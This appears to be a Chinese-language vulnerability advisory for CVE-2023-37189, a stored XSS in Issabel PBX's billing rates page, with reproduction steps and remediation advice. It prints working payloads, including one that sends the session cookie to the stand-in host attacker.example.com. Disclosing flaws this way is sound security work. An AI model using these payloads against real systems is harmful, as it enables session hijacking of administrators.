| 字段 | 详细信息 |
|---|---|
| CVE ID | CVE-2023-37189 |
| 漏洞类型 | 存储型跨站脚本(XSS) |
| 受影响产品 | Issabel PBX 4.0.0-6 |
| 受影响URL | index.php?menu=billing_rates |
| 存在漏洞字段 | 创建新费率 模块中的 Name 和 Prefix 字段 |
| 严重性 | 中危(CVSS 3.1 基础得分:6.1 — AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| 报告日期 | 2023年7月7日 |
| 发现者 | Sahil Ojha |
| 测试环境 | Windows |
| 厂商主页 | https://www.issabel.org/ |
| 软件源码 | https://github.com/IssabelFoundation/issabelPBX |
在 Issabel PBX 4.0.0-6 版本的计费费率管理页面(index.php?menu=billing_rates)中存在一个**存储型跨站脚本(XSS)**漏洞。
Issabel PBX 是一款基于 FreePBX/Asterisk 构建的广泛使用的开源统一通信平台。其 计费 → 费率 功能允许管理员自定义呼叫费率条目,包含名称和前缀字段。由于对输入进行了不充分的清理和输出编码不足,已认证的攻击者可以在任一字段中注入任意 HTML 或 JavaScript。恶意脚本会被持久存储在应用数据库中,并在任何后续访问费率页面的用户(包括其他管理员)的浏览器中自动执行,无需任何额外交互。
此类漏洞在管理面板中尤其危险,原因如下:
Name 和 Prefix 字段缺少 HTML 编码 / 输出净化。以下载荷在输入到 创建新费率 表单的 Name 或 Prefix 字段时,可证明漏洞的存在:
基础弹窗(功能验证):
<script>alert('XSS')</script>
会话 Cookie 窃取 (请将 attacker.example.com 替换为您拥有且获授权的服务器——切勿针对真实用户或系统):
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
基于图片 onerror 的载荷(绕过 WAF):
⚠️ 注意: 这些载荷仅用于教育和安全研究目的。在对任何非您拥有的系统进行测试前,请务必获得适当的书面授权。
使用管理员账户登录 Issabel PBX Web 界面。
导航至 报表 → 计费 → 费率(URL:index.php?menu=billing_rates)。
点击 "创建新费率",并在 Prefix 或 Name 字段中输入构造好的 XSS 载荷。

点击 保存。载荷现在已存储在数据库中。
任何访问计费费率页面的用户(包括其他管理员)的浏览器都会自动执行该脚本。


建议厂商和系统管理员采取以下应对措施:
ENT_QUOTES 标志的 htmlspecialchars())。这是针对 XSS 的主要且最可靠的防御手段。<、>、"、'、&)。请注意,仅靠输入验证可能被绕过,不应将其作为唯一控制手段。Content-Security-Policy HTTP 标头,限制内联脚本的执行。本仓库及其包含的信息仅用于教育和安全研究目的。作者对因使用所提供信息而导致的任何误用或损坏概不负责。在开展任何安全测试之前,请务必获得系统所有者的明确书面许可。
由 Sahil Ojha 发现并报告